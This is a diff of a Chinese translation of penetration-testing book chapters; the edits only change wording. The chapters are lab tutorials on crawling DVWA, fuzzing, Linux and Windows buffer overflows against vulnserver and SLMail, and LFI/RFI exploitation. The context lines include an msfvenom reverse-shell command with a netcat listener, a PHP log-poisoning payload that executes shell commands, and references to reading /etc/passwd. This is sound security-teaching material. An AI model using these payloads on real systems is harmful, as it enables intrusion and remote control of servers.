-在代码的第**（5）**节中，我们正在调用`self.process_form_action()`方法。在此之前，我们提取表单的动作 URL，这样我们就知道数据将在哪里*发布*。它还将相对操作 URL 与应用程序的基本 URL 相结合，以便我们最终将请求发送到有效的端点 URL。例如，如果表单动作指向一个名为`/login`的位置，而当前 URL 为`http://127.0.0.1/my_app`，则此方法将执行以下任务：
+在代码的第**（5）**节中，我们正在调用`self.process_form_action()`方法。在此之前，我们提取表单的动作 URL，这样我们就知道数据将在哪里*发布*。它还将相对操作 URL 与应用的基本 URL 相结合，以便我们最终将请求发送到有效的端点 URL。例如，如果表单动作指向一个名为`/login`的位置，而当前 URL 为`http://127.0.0.1/my_app`，则此方法将执行以下任务：
 
 1.  检查该 URL 是否已添加到爬虫应该访问的 URL 列表中
 2.  将操作 URL 与基础上下文 URL 组合并返回`http://127.0.0.1/my_app/login`
@@ -136,7 +136,7 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 最后，在第 448 行中，我们将提供的用户凭证发布到有效的解析登录表单。如果凭据正确，将返回一个有效会话并将其置于会话变量`ss`下。通过调用`POST`方法发出请求，如下所示：`ss.post(action_forms[0],data=payload,cookie=cookie)`。
 
-用户提供要爬网的 web 应用程序的起始 URL。第**（16）**节获取该起始 URL 并开始爬网过程。如果有多个起始 URL，它们应该用逗号分隔。开始 URL 作为爬虫程序应该访问的 URL 添加到`Page()`数据库表中：
+用户提供要爬网的 web 应用的起始 URL。第**（16）**节获取该起始 URL 并开始爬网过程。如果有多个起始 URL，它们应该用逗号分隔。开始 URL 作为爬虫程序应该访问的 URL 添加到`Page()`数据库表中：
 
 ![](assets/c24126aa-1811-425f-8e6f-3eb1393bb9ab.png)
 
@@ -150,7 +150,7 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 ![](assets/4bdcd81c-aafd-4cc8-b4da-c6f87e7c81ce.png)
 
-在**（19）**节中，我们向该页面发出 HTTP`GET`请求以及会话 cookie`ss`，因为**（19）**节属于处理`auth=True`的迭代。一旦向该页面发出请求，则会进一步处理该页面的响应以提取更多链接。在处理响应之前，我们检查应用程序生成的响应代码。
+在**（19）**节中，我们向该页面发出 HTTP`GET`请求以及会话 cookie`ss`，因为**（19）**节属于处理`auth=True`的迭代。一旦向该页面发出请求，则会进一步处理该页面的响应以提取更多链接。在处理响应之前，我们检查应用生成的响应代码。
 
 在某些情况下，某些页面将返回重定向（`3XX`响应代码），我们需要适当地保存 URL 和表单内容。假设我们向第 X 页提出了一个`GET`请求，作为回应，我们有三份表格。理想情况下，我们将使用标记为 X 的 URL 保存这些表单。但是，假设在第 X 页上发出`GET`请求时，我们得到了到第 Y 页的 302 重定向，并且响应 HTML 实际上属于设置重定向的网页。在这种情况下，我们将最终保存用 URL X 映射的三个表单的响应内容，这是不正确的。因此，在第（20）和（21）节中，我们正在处理这些重定向，并将响应内容映射到适当的 URL：
 
@@ -198,7 +198,7 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 ![](assets/a2ac4a7f-1ce5-4b73-8e65-93295d283408.png)
 
-前面代码的第（41）节继续进行，并将这些唯一的表单保存在 JSON 文件中，名称为当前项目名称。然后，可以使用简单的 Python 程序解析该文件，以列出我们所爬网的 web 应用程序中存在的各种表单和输入字段。此外，在代码的末尾，我们有一个小片段，它将所有发现/爬网的页面放在一个文本文件中，我们可以稍后参考。该代码段如下所示：
+前面代码的第（41）节继续进行，并将这些唯一的表单保存在 JSON 文件中，名称为当前项目名称。然后，可以使用简单的 Python 程序解析该文件，以列出我们所爬网的 web 应用中存在的各种表单和输入字段。此外，在代码的末尾，我们有一个小片段，它将所有发现/爬网的页面放在一个文本文件中，我们可以稍后参考。该代码段如下所示：
 
 ```
  f= open("results/Pages_"+str(self.project.project_name))
@@ -213,7 +213,7 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 最后，我们在第（44）节中检查当前迭代是否具有身份验证。如果没有身份验证，则调用爬虫的`start()`方法，并将`auth`标志设置为`True`。
 
-两次迭代成功完成后，假设 web 应用程序已完全爬网，并且代码第（45）节将项目状态标记为**已完成**。
+两次迭代成功完成后，假设 web 应用已完全爬网，并且代码第（45）节将项目状态标记为**已完成**。
 
 # 代码的执行
 
@@ -225,7 +225,7 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 ![](assets/067049a1-d5ed-40c7-a280-d8fe41064921.png)
 
-我们将针对著名的 DVWA 应用程序测试我们的爬虫程序，看看它发现了什么。我们需要启动 Apache 服务器并在本地为 DVWA 提供服务。可以通过运行以下命令启动 Apache 服务器：
+我们将针对著名的 DVWA 应用测试我们的爬虫程序，看看它发现了什么。我们需要启动 Apache 服务器并在本地为 DVWA 提供服务。可以通过运行以下命令启动 Apache 服务器：
 
 ```
 service Apache2 start
@@ -241,7 +241,7 @@ service Apache2 start
 
 ![](assets/5f087f8b-e2a5-4e9c-bc82-e4bf95fbe61e.png)
 
-现在让我们浏览应用程序的`results`文件夹，它位于`<Xtreme_InjectCrawler/results>`路径，查看发现的 URL 和表单，如下所示：
+现在让我们浏览应用的`results`文件夹，它位于`<Xtreme_InjectCrawler/results>`路径，查看发现的 URL 和表单，如下所示：
 
 ![](assets/01f854c9-3497-4f8c-8024-b2ea90fdbbd2.png)
 
@@ -253,7 +253,7 @@ service Apache2 start
 
 ![](assets/c77b7d22-a667-4a17-a36c-f38777f48b2a.png)
 
-因此，可以验证爬虫程序已成功爬网应用程序，并识别了上一屏幕截图中显示的链接：
+因此，可以验证爬虫程序已成功爬网应用，并识别了上一屏幕截图中显示的链接：
 
 ![](assets/1c9bb08e-c24f-4593-a6f1-7f5507a77805.png)
 
@@ -264,7 +264,7 @@ service Apache2 start
 # 问题
 
 1.  如何改进爬虫程序以覆盖 JavaScript 和 Ajax 调用？
-2.  我们如何使用爬虫结果来自动化 web 应用程序测试？
+2.  我们如何使用爬虫结果来自动化 web 应用测试？
 
 # 进一步阅读
 

trans/handson-pentest-py/11.md

-# 逆向工程 Linux 应用程序
+# 逆向工程 Linux 应用
 
-我们已经知道，逆向工程是获取可执行程序并获取其源代码或机器级代码的过程，以查看工具是如何构建的，并潜在地利用漏洞。逆向工程环境中的漏洞通常是程序员在开发和安全研究人员发现时处理的软件缺陷。在本章中，我们将介绍如何使用 Linux 应用程序执行逆向工程。本章将介绍以下主题：
+我们已经知道，逆向工程是获取可执行程序并获取其源代码或机器级代码的过程，以查看工具是如何构建的，并潜在地利用漏洞。逆向工程环境中的漏洞通常是程序员在开发和安全研究人员发现时处理的软件缺陷。在本章中，我们将介绍如何使用 Linux 应用执行逆向工程。本章将介绍以下主题：
 
-*   模糊 Linux 应用程序
+*   模糊 Linux 应用
 *   Linux 与汇编
 *   Linux 和堆栈缓冲区溢出
 *   Linux 和堆缓冲区溢出
@@ -41,14 +41,14 @@ $ ./edb
 
 *   另一个好工具是 idea pro，但这是一个商业工具，不是免费的。
 
-# 模糊 Linux 应用程序
+# 模糊 Linux 应用
 
-**模糊化**是一种用于发现应用程序中的错误的技术，当应用程序遇到未预料到的输入时，这些错误会导致应用程序崩溃。模糊化通常涉及到使用自动化工具或脚本，这些工具或脚本会向应用程序发送大字符串，从而导致应用程序崩溃。模糊化背后的思想是发现可能导致灾难性后果的漏洞或 bug。这些漏洞可能属于以下类别之一：
+**模糊化**是一种用于发现应用中的错误的技术，当应用遇到未预料到的输入时，这些错误会导致应用崩溃。模糊化通常涉及到使用自动化工具或脚本，这些工具或脚本会向应用发送大字符串，从而导致应用崩溃。模糊化背后的思想是发现可能导致灾难性后果的漏洞或 bug。这些漏洞可能属于以下类别之一：
 
 *   缓冲区溢出漏洞
 *   字符串格式漏洞
 
-Fuzzing 是一种将随机生成的代码发送到测试程序的技术，目的是使其崩溃或查看其在不同输入上的行为。Fuzzing 是一种自动方式，用于向正在测试的程序发送不同长度的有效负载，以查看程序在任何时候是否表现出奇怪或意外的行为。如果在模糊化过程中观察到任何异常情况，则会标记导致程序意外行为的有效负载长度。这有助于测试人员进一步评估是否存在利用漏洞的可能性。简单地说，模糊化是检测正在测试的应用程序中是否存在溢出类型的潜在漏洞的第一步。
+Fuzzing 是一种将随机生成的代码发送到测试程序的技术，目的是使其崩溃或查看其在不同输入上的行为。Fuzzing 是一种自动方式，用于向正在测试的程序发送不同长度的有效负载，以查看程序在任何时候是否表现出奇怪或意外的行为。如果在模糊化过程中观察到任何异常情况，则会标记导致程序意外行为的有效负载长度。这有助于测试人员进一步评估是否存在利用漏洞的可能性。简单地说，模糊化是检测正在测试的应用中是否存在溢出类型的潜在漏洞的第一步。
 
 一个有效的模糊器生成的半有效输入是**足够有效**，因为它们不会被解析器直接拒绝，但会在程序的更深处产生意外的行为，并且**足够无效**以暴露未正确处理的角落案例。我们可以使用的模糊化工具是**Zzuf**。这是一个非常好的模糊工具，可以用于基于 Linux 的系统。安装步骤如下：
 
@@ -99,11 +99,11 @@ ssize_t read(int fildes, void *buf, size_t nbytes);
 
 我们可以看到，这个简单的程序试图从控制台读取（由文件描述符的 0 值指定），无论从控制台窗口读取什么，它都会尝试将其放入本地创建的数组变量`arr`。现在`arr`在该代码中充当缓冲区，最大大小为 400。我们知道 C 中的字符数据类型可以保存 1 个字节，这意味着只要我们的输入是<=400 个字符，代码就可以正常工作，但如果给定的输入超过 400 个字符，我们可能会遇到溢出或分段错误，因为我们将试图保存比缓冲区`arr`可能保存的更多的数据。查看前面的代码，我们可以直接看到超过 400 字节的输入将破坏代码。
 
-假设我们无法访问应用程序的源代码。然后，为了计算缓冲区的大小，我们有以下三个选项：
+假设我们无法访问应用的源代码。然后，为了计算缓冲区的大小，我们有以下三个选项：
 
-*   第一个选项是对其进行反向工程，以查看应用程序的助记符或程序集级代码。谁想这么做！
-*   许多现代反编译器也为我们提供了与原始应用程序等效的源代码。对于像我们这样的一个小例子，这将是一个很好的选择，但是如果所讨论的可执行文件是数千行代码，我们可能也希望避免这个选项。
-*   第三种也是通常首选的方法是将应用程序视为一个黑盒，并确定它希望用户指定输入的位置。这些将是我们的注入点，我们将在其中指定不同长度的字符串，以查看程序是否崩溃，如果崩溃，将在何处发生。
+*   第一个选项是对其进行反向工程，以查看应用的助记符或程序集级代码。谁想这么做！
+*   许多现代反编译器也为我们提供了与原始应用等效的源代码。对于像我们这样的一个小例子，这将是一个很好的选择，但是如果所讨论的可执行文件是数千行代码，我们可能也希望避免这个选项。
+*   第三种也是通常首选的方法是将应用视为一个黑盒，并确定它希望用户指定输入的位置。这些将是我们的注入点，我们将在其中指定不同长度的字符串，以查看程序是否崩溃，如果崩溃，将在何处发生。
 
 让我们编译源代码以生成 C 的目标文件，并将其作为黑盒运行和模糊。
 
@@ -125,15 +125,15 @@ gcc -fno-stack-protector -z execstack -o buff buff.c
 
 ![](assets/ea636bd1-bfa9-453c-8eae-f8bdae7babb6.png)
 
-让我们运行前面的 Python 代码，看看模糊化有什么影响，以及它如何破坏应用程序，使我们接近崩溃点：
+让我们运行前面的 Python 代码，看看模糊化有什么影响，以及它如何破坏应用，使我们接近崩溃点：
 
 ![](assets/8abd591b-7729-4753-8373-a1c64d3f3219.png)
 
-从前面的输出可以看出，应用程序崩溃的点在 400 到 500 字节之间，这就是实际崩溃的地方。更准确地说，我们可以对`i`使用较小的步长，并使用`step size=10`得出以下结果：
+从前面的输出可以看出，应用崩溃的点在 400 到 500 字节之间，这就是实际崩溃的地方。更准确地说，我们可以对`i`使用较小的步长，并使用`step size=10`得出以下结果：
 
 ![](assets/df3931d1-4420-4f51-8cc8-709bfb63a3bd.png)
 
-前面的屏幕截图为我们提供了更详细的信息，并告诉我们应用程序在输入长度介于`411`和`421`之间时崩溃。
+前面的屏幕截图为我们提供了更详细的信息，并告诉我们应用在输入长度介于`411`和`421`之间时崩溃。
 
 # Linux 和汇编代码
 
@@ -153,7 +153,7 @@ gcc -fno-stack-protector -z execstack -o buff buff.c
 
 ![](assets/90514aff-7754-4012-9722-f5048cc18342.png)
 
-窗口的右上部分显示被测应用程序的程序集代码。左上部分表示寄存器及其相应的内容。汇编代码下面的部分显示了当用户在控制台上输入数据时将调用的方法，这是我们的读取系统调用。屏幕底部的部分表示内存转储，其中内存的内容以十六进制和 ASCII 格式显示。让我们看看当我们指定一个小于 400 个字符的值时，应用程序是如何干净地存在的：
+窗口的右上部分显示被测应用的程序集代码。左上部分表示寄存器及其相应的内容。汇编代码下面的部分显示了当用户在控制台上输入数据时将调用的方法，这是我们的读取系统调用。屏幕底部的部分表示内存转储，其中内存的内容以十六进制和 ASCII 格式显示。让我们看看当我们指定一个小于 400 个字符的值时，应用是如何干净地存在的：
 
 ![](assets/d2baf991-ee01-4e9a-acf0-7b30a77e9089.png)
 
@@ -205,7 +205,7 @@ gcc -fno-stack-protector -z execstack -o buff buff.c
 
 ![](assets/3c973b3c-d6bf-4ece-b71c-c83fa4fc9cd8.png)
 
-让我们通过使用以下命令禁用堆栈保护来编译应用程序：
+让我们通过使用以下命令禁用堆栈保护来编译应用：
 
 ```
 gcc -fno-stack-protector -z execstack -o bufferoverflow bufferoverflow.c 
@@ -215,7 +215,7 @@ gcc -fno-stack-protector -z execstack -o bufferoverflow bufferoverflow.c
 
 ![](assets/4f051243-424d-40ca-929f-a277d0f85b06.png)
 
-现在，我们的下一步是生成将导致应用程序中断的有效负载。我们可以使用 Python 进行以下操作：
+现在，我们的下一步是生成将导致应用中断的有效负载。我们可以使用 Python 进行以下操作：
 
 ```
 python -c "print 'A'*500" > aaa
@@ -247,7 +247,7 @@ python -c "print 'A'*500" > aaa
 
 ![](assets/a0d20d71-f944-4adb-a3a0-d7eb0a34181b.png)
 
-现在，由于我们将这个唯一生成的字符串放在一个名为`unique`的文件中，让我们重新运行应用程序，这次将这个`unique`文件内容传递给程序：
+现在，由于我们将这个唯一生成的字符串放在一个名为`unique`的文件中，让我们重新运行应用，这次将这个`unique`文件内容传递给程序：
 
 ![](assets/be6e3c5f-0ba1-4c2e-b860-065a20121d5e.png)
 
@@ -279,13 +279,13 @@ python -c "print 'A'*424+ 'b'*4 + 'C'*72" > abc
 msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.250.147 LPORT=4444  -e x64/xor ‐b "\x00\x0a\x0d\x20" -f py
 ```
 
-为了找出被测试底层软件的常见错误特征，最成功的方法是反复试验。我通常要做的是找出常见的坏字符，将所有唯一字符发送到应用程序，然后使用调试器，检查在寄存器级别更改了哪些字符。那些被改变的可以被编码和避免。
+为了找出被测试底层软件的常见错误特征，最成功的方法是反复试验。我通常要做的是找出常见的坏字符，将所有唯一字符发送到应用，然后使用调试器，检查在寄存器级别更改了哪些字符。那些被改变的可以被编码和避免。
 
 前面的命令将生成以下屏幕截图：
 
 ![](assets/7cb23632-599f-497d-8950-83e4e61d739f.png)
 
-让我们创建一个名为`exp_buf.py`的 Python 文件，并将获得的 shell 代码放在该文件中。必须注意的是，由于我们正在对有效负载进行编码，我们还需要在开始时使用几个字节来解码，因此我们将在开始时指定几个`nop`字符。我们还将在端口`4444`上设置一个 netcat 侦听器，以查看是否从应用程序中获得一个反向 shell。记住 r9 寄存器的地址；我们也将利用这一点：
+让我们创建一个名为`exp_buf.py`的 Python 文件，并将获得的 shell 代码放在该文件中。必须注意的是，由于我们正在对有效负载进行编码，我们还需要在开始时使用几个字节来解码，因此我们将在开始时指定几个`nop`字符。我们还将在端口`4444`上设置一个 netcat 侦听器，以查看是否从应用中获得一个反向 shell。记住 r9 寄存器的地址；我们也将利用这一点：
 
 ![](assets/7977e329-ec66-4112-a0ff-edd3d041a37b.png)
 
@@ -301,7 +301,7 @@ python exp_buf.py > exp_buf
 nc -nlvp 4444 
 ```
 
-现在，使用`gdb`运行应用程序并尝试利用它，如图所示：
+现在，使用`gdb`运行应用并尝试利用它，如图所示：
 
 ![](assets/3f4d655a-e0ea-4c19-975d-a0b0206014c8.png)
 
@@ -325,7 +325,7 @@ nc -nlvp 4444
 gcc -fno-stack-protector -z execstack heapBufferOverflow.c -o heapBufferOverflow
 ```
 
-现在我们已经编译了应用程序，让我们使用输入类型运行它，这些输入类型将中断并执行代码，如图所示：
+现在我们已经编译了应用，让我们使用输入类型运行它，这些输入类型将中断并执行代码，如图所示：
 
 ![](assets/a0447202-627a-4a40-8dad-10a2f0204e34.png)
 
@@ -349,7 +349,7 @@ gcc -fno-stack-protector -z execstack heapBufferOverflow.c -o heapBufferOverflow
 
 ![](assets/d910a09a-0984-4100-81eb-55f558ac0eec.png)
 
-现在我们已经编译了应用程序，让我们使用输入类型运行它，这些输入类型将中断并执行以下代码：
+现在我们已经编译了应用，让我们使用输入类型运行它，这些输入类型将中断并执行以下代码：
 
 ![](assets/f30ddab8-5855-4219-acfc-bbffd7c57925.png)
 
@@ -361,9 +361,9 @@ gcc -fno-stack-protector -z execstack heapBufferOverflow.c -o heapBufferOverflow
 
 # 总结
 
-在本章中，我们讨论了 Linux 中的逆向工程。我们还使用 Python 研究了模糊化。我们在 Linux 调试器（`edb`和`gdb`的上下文中研究了汇编语言和助记符。我们详细讨论了堆栈缓冲区溢出，并了解了堆缓冲区溢出和字符串格式漏洞的概念。我强烈建议在这些想法上花费大量时间，并在不同的操作系统版本和易受攻击的应用程序上探索它们。在本章结束时，您应该对 Linux 环境中的缓冲区溢出漏洞和反转有了相当的了解。
+在本章中，我们讨论了 Linux 中的逆向工程。我们还使用 Python 研究了模糊化。我们在 Linux 调试器（`edb`和`gdb`的上下文中研究了汇编语言和助记符。我们详细讨论了堆栈缓冲区溢出，并了解了堆缓冲区溢出和字符串格式漏洞的概念。我强烈建议在这些想法上花费大量时间，并在不同的操作系统版本和易受攻击的应用上探索它们。在本章结束时，您应该对 Linux 环境中的缓冲区溢出漏洞和反转有了相当的了解。
 
-在下一章中，我们将讨论 Windows 环境中的反向工程和缓冲区溢出漏洞。我们将使用一个真实世界的应用程序演示利用。
+在下一章中，我们将讨论 Windows 环境中的反向工程和缓冲区溢出漏洞。我们将使用一个真实世界的应用演示利用。
 
 # 问题
 

trans/handson-pentest-py/12.md

-# 反向工程 Windows 应用程序
+# 反向工程 Windows 应用
 
-在本章中，我们将了解如何使用 Windows 应用程序执行反向工程。本章将介绍以下主题：
+在本章中，我们将了解如何使用 Windows 应用执行反向工程。本章将介绍以下主题：
 
-*   模糊 Windows 应用程序
+*   模糊 Windows 应用
 *   窗口和组件
 *   Windows 和堆栈缓冲区溢出
 *   Windows 和堆缓冲区溢出
@@ -12,7 +12,7 @@
 
 让我们来看看本章将要为 Windows 覆盖的调试器：
 
-*   **免疫调试器**：这是在 Windows 环境中运行并调试 Windows 应用程序的最著名的调试器之一。可从[下载 https://www.immunityinc.com/products/debugger/](https://www.immunityinc.com/products/debugger/) 并作为可直接运行的可执行文件提供：
+*   **免疫调试器**：这是在 Windows 环境中运行并调试 Windows 应用的最著名的调试器之一。可从[下载 https://www.immunityinc.com/products/debugger/](https://www.immunityinc.com/products/debugger/) 并作为可直接运行的可执行文件提供：
 
 ![](assets/99762647-1633-411f-ac78-d433260892d0.png)
 
@@ -20,9 +20,9 @@
 
 ![](assets/eac337e6-ad53-400d-8625-9dcf12a1a868.png)
 
-# 模糊 Windows 应用程序
+# 模糊 Windows 应用
 
-正如我们在前一章中所讨论的，模糊化是一种用于发现应用程序中的错误的技术，当应用程序遇到应用程序没有预料到的输入时，这些错误会导致应用程序崩溃。
+正如我们在前一章中所讨论的，模糊化是一种用于发现应用中的错误的技术，当应用遇到应用没有预料到的输入时，这些错误会导致应用崩溃。
 
 为了开始本练习，让我们设置 VirtualBox，并使用 Windows 作为操作系统。在实验室 Windows 7 机器中，让我们继续安装名为**vulnserver**的易受攻击软件。如果您在谷歌上搜索`vulnserver download`，您将获得指向易受攻击服务器的链接。
 
@@ -142,7 +142,7 @@ Zzuf 是一种将大字符串作为输入的工具，如`aaaaaaaaaaaaaaaaaaaaaaa
 
 ![](assets/283ce7e7-f565-4c01-8c3d-80c8e1cda940.png)
 
-请注意，一旦我们运行应用程序，当代码到达这一行时，代码实际上停止了。这就是断点的含义：
+请注意，一旦我们运行应用，当代码到达这一行时，代码实际上停止了。这就是断点的含义：
 
 ![](assets/4d24053f-ca57-4ae1-8400-5a36bc0727d1.png)
 
@@ -200,7 +200,7 @@ Zzuf 是一种将大字符串作为输入的工具，如`aaaaaaaaaaaaaaaaaaaaaaa
 
 # 利用 Windows 中的缓冲区溢出
 
-SLMail 5.5.0 邮件服务器软件中存在已知的缓冲区溢出漏洞。让我们下载应用程序（从以下 URL:[https://slmail.software.informer.com/5.5/ 双击`exe`安装程序，在 Windows 中安装](https://slmail.software.informer.com/5.5/)。安装后，在 Windows 7 虚拟机中运行它，如下所示：
+SLMail 5.5.0 邮件服务器软件中存在已知的缓冲区溢出漏洞。让我们下载应用（从以下 URL:[https://slmail.software.informer.com/5.5/ 双击`exe`安装程序，在 Windows 中安装](https://slmail.software.informer.com/5.5/)。安装后，在 Windows 7 虚拟机中运行它，如下所示：
 
 ![](assets/1b3cc5c9-fa3d-492f-bb14-f3f26c4efb78.png)
 
@@ -216,7 +216,7 @@ SLMail 5.5.0 邮件服务器软件中存在已知的缓冲区溢出漏洞。让
 
 ![](assets/b13b2a87-5990-4d56-93e6-edb8c4aa22d9.png)
 
-现在，让我们运行代码以查看它在何处中断电子邮件应用程序以及崩溃时的缓冲区值：
+现在，让我们运行代码以查看它在何处中断电子邮件应用以及崩溃时的缓冲区值：
 
 ![](assets/44567dfa-40c1-4020-99a1-351cc20bd4dc.png)
 

trans/handson-pentest-py/13.md

@@ -12,11 +12,11 @@
 
 # 对基于 web 的漏洞进行脚本攻击
 
-在本节中，我们将使用一个**该死的易受攻击 Web 应用程序**（**DVWA**的示例。我们将编写一个本地和远程文件包含漏洞攻击，并确保通过执行该漏洞攻击获得一个反向 shell。众所周知，DVWA 有很多漏洞，包括**本地文件包含**（**LFI**）和**远程文件包含**（**RFI**）。
+在本节中，我们将使用一个**该死的易受攻击 Web 应用**（**DVWA**的示例。我们将编写一个本地和远程文件包含漏洞攻击，并确保通过执行该漏洞攻击获得一个反向 shell。众所周知，DVWA 有很多漏洞，包括**本地文件包含**（**LFI**）和**远程文件包含**（**RFI**）。
 
-本地文件包含是 PHP 应用程序中常见的一类漏洞，由不正确使用`include()`和`require()`函数引入。`include()`函数用于在当前 PHP 文件中包含一个 PHP 模块，从中调用该模块。在某些情况下，开发人员将要包含的文件名作为 web 应用程序的输入参数，攻击者可能会误用该文件名。攻击者可以调整输入参数，并可以读取他们可能无权访问的系统文件，如`/etc/passwd`。可以提升该漏洞以从服务器获取反向外壳。如果攻击者能够读取服务器的日志文件（通常位于`/var/log/apache2/access.log`路径），并且攻击者发送虚假的`GET`请求，如`http://myvulsite.com?id=<?php shell_exec($_GET['cmd']) ?>`，则应用程序通常会返回一条错误消息，说明请求的 URL/资源不存在。但是，这将记录在服务器的`access.log`文件中。在 LFI 的帮助下，如果攻击者在随后的请求中试图将访问日志文件加载为`http://myvulsite.com/admin.php?page=/var/log/appache2/access.log?cmd=ifconfig%00`，它将加载日志文件，其中包含一个 PHP 代码片段。这将由 PHP 服务器执行。由于攻击者正在指定 CMD 参数，这将在 shell 上执行，导致在服务器上执行意外代码。RFI 漏洞更容易执行。让我们通过启动 DVWA 应用程序并尝试手动利用 LFI 漏洞，将到目前为止讨论的内容付诸实践。
+本地文件包含是 PHP 应用中常见的一类漏洞，由不正确使用`include()`和`require()`函数引入。`include()`函数用于在当前 PHP 文件中包含一个 PHP 模块，从中调用该模块。在某些情况下，开发人员将要包含的文件名作为 web 应用的输入参数，攻击者可能会误用该文件名。攻击者可以调整输入参数，并可以读取他们可能无权访问的系统文件，如`/etc/passwd`。可以提升该漏洞以从服务器获取反向外壳。如果攻击者能够读取服务器的日志文件（通常位于`/var/log/apache2/access.log`路径），并且攻击者发送虚假的`GET`请求，如`http://myvulsite.com?id=<?php shell_exec($_GET['cmd']) ?>`，则应用通常会返回一条错误消息，说明请求的 URL/资源不存在。但是，这将记录在服务器的`access.log`文件中。在 LFI 的帮助下，如果攻击者在随后的请求中试图将访问日志文件加载为`http://myvulsite.com/admin.php?page=/var/log/appache2/access.log?cmd=ifconfig%00`，它将加载日志文件，其中包含一个 PHP 代码片段。这将由 PHP 服务器执行。由于攻击者正在指定 CMD 参数，这将在 shell 上执行，导致在服务器上执行意外代码。RFI 漏洞更容易执行。让我们通过启动 DVWA 应用并尝试手动利用 LFI 漏洞，将到目前为止讨论的内容付诸实践。
 
-需要注意的是，我们已经在[第 12 章](12.html)、*反向工程 Windows 应用程序*中看到了如何使用 Python 编写网络服务漏洞攻击，我们在其中编写了一个自定义 Python 漏洞攻击来利用 SLmail 服务。请参阅该章，以更新您关于针对缓冲区溢出的基于服务的漏洞利用开发的知识。
+需要注意的是，我们已经在[第 12 章](12.html)、*反向工程 Windows 应用*中看到了如何使用 Python 编写网络服务漏洞攻击，我们在其中编写了一个自定义 Python 漏洞攻击来利用 SLmail 服务。请参阅该章，以更新您关于针对缓冲区溢出的基于服务的漏洞利用开发的知识。
 
 # 手动执行 LFI 攻击
 
@@ -26,11 +26,11 @@
 service apache2 start
 ```
 
-让我们尝试手动浏览应用程序，看看漏洞所在：
+让我们尝试手动浏览应用，看看漏洞所在：
 
 ![](assets/22c584ef-a902-4881-b84e-011785536376.png)
 
-前一屏幕中浏览的 URL 为`http://192.168.1.102/dvwa/vulnerabilities/fi/?page=include.php`。可以看出，请求的 URL 有一个页面参数，它将要包含的页面作为参数。如果我们看一下应用程序的源代码，我们可以看到`include()`函数的实现如下：
+前一屏幕中浏览的 URL 为`http://192.168.1.102/dvwa/vulnerabilities/fi/?page=include.php`。可以看出，请求的 URL 有一个页面参数，它将要包含的页面作为参数。如果我们看一下应用的源代码，我们可以看到`include()`函数的实现如下：
 
 ![](assets/4251eb69-3f5b-4576-b281-a35dbac69266.png)
 
@@ -112,7 +112,7 @@ service apache2 start
 
 # 开发利用开发（LFI+RFI）
 
-到目前为止，我们已经研究了如何手动利用 LFI 漏洞。让我们继续并尝试开发一个通用漏洞，该漏洞将利用此应用程序和其他相同应用程序的 LFI 漏洞。在本节中，我们将看到如何编写一个令人敬畏的漏洞，利用 DVWA 应用程序中的 RFI 和 LFI 漏洞。虽然此漏洞是为 DVWA 应用程序编写的，但我已尝试使其通用化。通过某些调整，我们还可以在可能存在 LFI 和 RFI 漏洞的其他应用程序中尝试。
+到目前为止，我们已经研究了如何手动利用 LFI 漏洞。让我们继续并尝试开发一个通用漏洞，该漏洞将利用此应用和其他相同应用的 LFI 漏洞。在本节中，我们将看到如何编写一个令人敬畏的漏洞，利用 DVWA 应用中的 RFI 和 LFI 漏洞。虽然此漏洞是为 DVWA 应用编写的，但我已尝试使其通用化。通过某些调整，我们还可以在可能存在 LFI 和 RFI 漏洞的其他应用中尝试。
 
 让我们安装先决条件：
 
@@ -137,7 +137,7 @@ sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/
 
 ![](assets/fa1254bb-ed18-4d07-a749-72f6d49e6574.png)
 
-在以下代码段中，第 65-74 行检查要测试的应用程序是否需要对要利用的漏洞进行身份验证：
+在以下代码段中，第 65-74 行检查要测试的应用是否需要对要利用的漏洞进行身份验证：
 
 ![](assets/58e6d1f1-3be7-489c-b957-61c30bdb0d7b.png)
 
@@ -189,7 +189,7 @@ python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.1
 
 # 开发 Metasploit 模块以利用网络服务
 
-在本节中，我们将了解如何使用 Metasploit 漏洞模块来攻击给定的漏洞。在本例中，我们将重点关注名为*Crossfire*的游戏应用程序的缓冲区溢出漏洞。为了编写自定义 Metasploit 模块，我们需要将它们放在一个特定的目录中，因为当我们在 Metasploit 中使用`use exploit /....`命令时，默认情况下，框架会在默认 Metasploit 剥削目录中查找可用的模块。如果未在此处找到给定的漏洞，则会搜索扩展模块目录，该目录位于以下路径：`/root/msf4/modules/exploits`。让我们创建路径和自定义目录。我们将打开 Kali 虚拟机并运行以下命令：
+在本节中，我们将了解如何使用 Metasploit 漏洞模块来攻击给定的漏洞。在本例中，我们将重点关注名为*Crossfire*的游戏应用的缓冲区溢出漏洞。为了编写自定义 Metasploit 模块，我们需要将它们放在一个特定的目录中，因为当我们在 Metasploit 中使用`use exploit /....`命令时，默认情况下，框架会在默认 Metasploit 剥削目录中查找可用的模块。如果未在此处找到给定的漏洞，则会搜索扩展模块目录，该目录位于以下路径：`/root/msf4/modules/exploits`。让我们创建路径和自定义目录。我们将打开 Kali 虚拟机并运行以下命令：
 
 ```
 mkdir -p ~/.msf4/modules/exploits/custom/cf
@@ -205,25 +205,25 @@ touch custom_cf.rb
 
 ![](assets/214be2c9-1973-4f30-bd38-57ddd2c2c4a1.png)
 
-前面提到的代码片段非常简单。它试图利用 Crossfire 应用程序中存在的缓冲区溢出漏洞进行攻击。Metasploit 为其漏洞模块定义了一个模板，如果我们必须在 Metasploit 中编写一个模块，我们需要根据需要调整模板。前面的模板用于缓冲区溢出类漏洞。
+前面提到的代码片段非常简单。它试图利用 Crossfire 应用中存在的缓冲区溢出漏洞进行攻击。Metasploit 为其漏洞模块定义了一个模板，如果我们必须在 Metasploit 中编写一个模块，我们需要根据需要调整模板。前面的模板用于缓冲区溢出类漏洞。
 
 在前面的章节中，我们详细研究了缓冲区溢出。根据我们所了解的情况，我们可以说，要利用缓冲区溢出漏洞进行攻击，攻击者必须知道以下几点：
 
 *   缓冲区空间可以容纳的有效负载大小。
 *   堆栈的返回地址，必须由注入漏洞代码的缓冲区地址覆盖。实际返回地址可能会有所不同，但可以计算有效负载的偏移量，在该偏移量之后，返回地址将被覆盖。一旦我们有了偏移量，我们就可以将内存位置的地址放在我们能够注入漏洞的地方。
